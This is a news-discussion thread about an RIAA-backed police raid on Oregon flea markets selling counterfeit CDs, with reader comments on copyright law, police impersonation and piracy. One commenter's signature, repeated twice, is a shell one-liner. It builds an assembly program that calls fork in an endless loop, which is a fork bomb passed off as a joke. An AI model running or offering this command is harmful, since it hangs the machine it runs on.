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RIAA Uses Local Cops In Oregon Raid
newtley writes "Fake cops employed by the RIAA started acting like real police officers quite a while ago — one of the earliest examples unfolded in Los Angeles in 2004. From a distance, the bust, 'looked like classic LAPD, DEA or FBI work, right down to the black "raid" vests the unit members wore,' said the LA Weekly. That their yellow stenciled lettering read 'RIAA' instead of something from an official law-enforcement agency, 'was lost on 55-year-old parking-lot attendant Ceasar Borrayo.' But it's also SOP for the RIAA to wield genuine officers paid for entirely from citizen taxes as copyright cops. Police were used in an RIAA-inspired raid at two flea markets in Beaverton, Oregon. 'Sgt. Paul Wandell, Beaverton police spokesman, said officers seized more than 50,000 items worth about $758,000,' says The Oregonian. But this is merely the tiny tip of an iceberg of absolutely staggering dimensions, an example of the extent coming in a GrayZone report slugged RIAA Anti-Piracy Seizure Information."
Totally diffrent.
People who copy CDs for their own use, dont sell them for profit.
While what they did was scarry, its pretty well justified. They were indeed selling counterfit CDs and DVDs for sale. NOT personal use.
actually, it can be criminal selling at an ammount of $0, in the US anyway.
it used to be that only pirating for profit (which i consider completely unethical, as opposed to doing giving it away for free, which i'm kinda on the fence about) was illegal, then the feds tried to prosecute some guy giving the stuff away (at work, and got slapped down by the counts, as it wasn't illegal if he wasn't selling it. congress then made the NET act to make that illegal.
upon the advice of my lawyer, i have no sig at this time
"That being said, it's a bit disconcerting to see them concerned with "who owns reproduction equipment like this". I really don't think that should be a concern of anyone... owning equipment shouldn't be a crime, even if it is professional-quality duplicators."
I completely agree. I was reading through this thinking to myself that this wasn't really an issue, the police doing their job, but then that comment just boggled my mind. Since when did it become illegal to own replication equipment? What if you want to use it to replicate 4 CDs so you can put them in 4 different CD players and not have to carry the CD around with you? Of course since this is supposed to be "million dollar" replication machines (whose parts probably cost a couple grand to buy and put together knowing "million dollar" machinery...) there are probably few legal uses for them unless you're some famous celebrity who the RIAA wouldn't get within a mile of arresting. I'm just worried about the possible precedent if they start going after people for owning these things and the government upholds it which doesn't seem that unlikely...
There are two kinds of fool One says 'This is old therefore good' Another says 'This is new therefore better'- Dean Ing
These busts are nothing compared to the container loads full of pirated CD's, DVD's, cosmetics, toys, bikes, medicine, clothing, batteries, cameras, and electronics coming in from China. The goods coming in from China look identical to the legitimate item, except that sometimes the batteries explode due to defects in cloning the original and the medicine, costmetics, and food sometimes kill and/or poison. If our government fails to contain China, the US will become to China what England was to the 13 Colonies. If the RIAA really wants to stop mass piracy and copyright violations, they should start with the container ships and the Walmart supply chains.
P.S. - Take my advice, don't feed the wheat-gluten from China to your pets.
That part is indeed troubling, where is the line drawn with respect to "impersonating a police officer". I'd estimate well in excess of 40% of the people they'd run into would believe they were cops, and probably twice that number wouldn't be certain enough to argue with them. If you hadn't heard of the RIAA would you see one of these guys and think "oh that's not a real cop, nothing to see here..."
Yes, they can dress up as cops and go out into public, but if they impersonate law enforcement officers, they can be arrested and punished just as much as a bootlegger. BOTH are FELONIES.
So, by dressing up in raid uniforms, and behaving like police officers, they are impersonating law enforcement officers, which is unlawful, and in my words, just plain eerie.
What's next? RIAA Humvees or surplus troop carriers?
Knowing Google's lust for data collection, the Soviet Union is still alive and well inside the psyche of Sergey Brin....
Not only that, but I wonder how legit the discs etc look. If they look enough like the real thing, people might just think they're getting a bargain. The means that they're getting screwed with an illegitimate item, and the creators/sellers of the original are also getting screwed (because the people in question would, at least, appear to be the type that prefers physical goods to downloads).
"Cohen was amazed by the quality of some of the bogus CDs and packaging, saying a good percentage of the Hillsboro discs were being counterfeited by a million-dollar replication machine like the music industry uses."
Um, so how is a person who runs a flea market booth supposed to tell the difference?
This is retaliation on the flea market booth owner for selling second hand CD-ROMs.
I suspect they can claim any CD is fake, especially if the same CD creation machines are used by "pirates" and the RIAA sponsor companies.
I am the unwilling control for my Origin.
Yes and when a group of gun nut buddies start an armed vigilante group they get arrested. So the second amendment was to allow citizens to control a militia rather than the government, so that the government could be kept in its place. Maybe it's not the government we should worry about. (although the government is the one that allowed the RIAA to get to this point, although not out of malice, just out of weakness)
I guess power really does lie with who has the money. Too bad corporations are allowed to have money and power even though they are immortal (unlike crazy rich old man who abuses his position).
“Common sense is not so common.” — Voltaire
Apparently the Music Studios are almost bankrupt. According to Marcus Cohen "We've gone into a survival mode."
Their marketing survey department is asleep. DVD's pre-viewed at Blockbuster are 2 for $20 or 3 for $20 for films that are less than a decade old. They are THX certified, not compressed to sound loud, pixilated, and have washed out color.
CD's on the other hand have dropped the Philips specification (look for the Compact Disk tm logo next time), engineered to kill all semblance of dynamic range, and recordings over 10 years old still are priced way above most DVD's. Try pricing anything Beatles, Styx, REO Speedwagon, AC/DC, Pink Floyd, and other 30 year old recordings.
It isn't piracy that's killing them. Piracy is what is keeping the older music popular. Pricing, loss of quality (analog compression with loss of S/N ratio, dynamic range, and distortion from clipping), reliability (DRM induced), and functionality (again DRM) is what is killing them.
Just last week there was a good discussion on the quality issues and CD's from the quality days were discussed such as the 30 year old Telarc recording of the 1812 Overature. The present day recordings were only in the discussion as samples of what is wrong with today's recordings.
The truth shall set you free!
when someone is kicking in your fucking door, you don't stop to give them the benefit of the doubt.
If you mod me down, I will become more powerful than you can imagine....
Sorry to burst your bubble but IT'S THE JOB OF REAL COPS TO BUST DOWN THE DOORS. You should start complaining when the RIAA uses pinkertons whether they are dressed up to look more like cops than usual or not. Bootlegging was considered criminal even before the recent changes in copyright law were purchased by the RIAA and MPAA.
The real problem in this case is the fact that the RIAA is trying to cast FUD upon the used CD/DVD scene. It seems to me that the "counterfeits" here are "so good" that reasonable doubt should be automatic. Are they real bootlegs or is the RIAA just trying to do an end run around the first sale doctrine?
A Pirate and a Puritan look the same on a balance sheet.
when someone is kicking in your fucking door, you don't stop to give them the benefit of the doubt.
Mod parent up :) I know here there was a case where a police officer was shot doing just that and the shooter got off because he assumed that it was someone coming in to do him harm. Admittedly he probably still had to face the music for whatever they were kicking his door in for.
It is my experience (been next to a place that was raided one time) that the police generally don't just kick in the front door - they knock and ask to come in first. If you refuse then they use force. If it's the RIAA and you refuse and then they kick in your door then they are trespassing if you refuse them entry; the only people who can get a warrant to enter your property without your permission are the REAL law enforcement officers. A court cannot legally allow somebody access to your property in cases like the RIAA is trying to pull.
*sits back and waits for them to get their asses shot up*
*still waiting*
I drink to make other people interesting!
Nice trolling. I'll bite anyway.
First off, Nobody has a god-given right to profit. This is as valid for the RIAA and for artists, as it is for people selling "counterfeited" CDs. Copyright allows some people to profit from their creations, at the expense of having other people not being able to copy intellectual property freely. This is a law created by humans. It is not the end of the universe if copyright-law is changed or even abolished.
Proponents of copyright argue that giving a monetary incentive to artists is good, because we will have more talented artists that choose to spend their time creating intellectual property. While it's possible to argue about how large this effect is, it's very hard to deny it. So far so good. Detractors of copyright say that people should have the right to do whatever they want with information. Just because someone has taken the time to create it, doesn't mean they should be allowed to limit my freedom to use or copy it as I want. This is also very tough to argue against. It seems that the only way copyright makes sense, is to somehow find a balance between these issues. Artists should get some form of pay, people should have some form of freedom. There is very little black and white about the idea of copyright. While laws must necessarily be clear, the ideas behind it, are in effect quite grey.
Copyright is actually a very old idea. It existed as far back as in the Roman empire. Back in those days, it was mostly used in books. Just like today, books were written by authors. But unlike today, making a copy of a book, could involve one or more highly educated slaves, slaving for a year or more. Needless to say, books were quite expensive. In such a system, arguing that the author should receive a fair share whenever a new copy was produced, is not particulary hard.
Today (where I live), an album of music costs (in retail) about 2 average-salary work-hours. The cost (for a consumer) of making ONE exact replica of it, is less than a tenth of that. The cost of making mp3s out of it, would then be about 1-2 minutes. The cost of copying these mp3s to a buddy, would be about 1-2 seconds. Despite these almost shocking numbers (at least in a historical perspective), copyright legislation has recently become more in favour of copyright-holders. Essentially, the music industry, or more generally, the content industry, has partnered with the law-makers, to create a system that is completely unfair for the average consumer.
Actually, since today it is cheaper to produce a copy of some intellectual property, than it is to enjoy it (I can copy a CD much faster than I can listen to it), artificially restricting copying of content seems completely backwards. Why should the public accept such completely silly laws? Even if we can agree in principle, that it would be nice if artists got paid, that doesn't mean we must agree that copyright is the way to do it. Actually, it doesn't even mean that artists must get paid, it just means we would prefer a system that does so. But even so, a system that puts what looks like completely arbitrary restrictions on copying of content (that would otherwise be essentially free), is not something that can survive for long into the future. Copyright is dead!
http://en.wikipedia.org/wiki/Political_positions_
Hmm, now that's an interesting idea given that most of the terrorists are essentially pirates.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The USA is party to the International Treaty on Warfare on the High Seas, which bans members from using non-regular belligerents of any kind in naval combat.
What does the "International Treaty on Warfare on the High Seas" say about non signatories? Since Al Qaeda haven't signed it and won't abide by it, it seems unlikely it protects them.
Most sufficiently old treaties have lesser protection for non state actors like irregular fighters too, like the Geneva Conventions requirement that combatants wear a uniform. This predates the illegal combatant controversy - downed RAF airmen would wear their uniforms under civillian clothes to avoid being executed by the Germans (who seemed to stick to the Geneva Convention for UK personnel even if they totally ignored it for USSR ones) Those exemptions are there for a reason - the treaties were signed by European imperial powers who expected to have free hand to deal with insurgents in their colonies. And most sufficiently new ones have notice periods inspired by the US, in which case the US can always withdraw from them.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I agree. It is perfectly ok to use cops to put an end to illegal activities. That's (one of) their jobs afterall. Now, some activities which are currently illegal *shouldn't* be, but that's a different kettle entirely.
A problem with current copyrigth-law is that it makes essentially everyone a criminal. Which means the RIAA, and other large copyrigth-holders do essentially have the power to decide who gets punished and who not, according to their own private freely selectable criteria.
Copyrigth-law should be changed so that this is no longer the case. Even just for US-law to be more like Norwegian would be a good start. Here it is explicitly allowed to make copies of copyrigthed material for your own use, and for close friends and family. Which mean you can perfectly legally burn a CD with your girlfriends favourite songs for her, or let her have copies of them on her iPod, or borrow a CD in the library and copy it for your own use.
These are activities that *CANNOT* be prevented without resorting to a police-state anyway. That's a cost *much* too high, even if one where of the opinion that preventing them would be desireable in the first place
On the other hand, I find it perfectly acceptable to punish people who make money selling illegal copies of someone elses creative work. I don't see any reason that needs to be allowed.
sigs are hazardous to your health
And I hope you take a look at the violent crime rate in some areas. Murder is a lot more preventable than car accidents. And even moreso, murder has a huge negative impact on a community. No one wants to move to New Orleans now because we have the most murders per capita in the country. I have no idea what city has the most deaths-per-accidents, and neither does anyone else.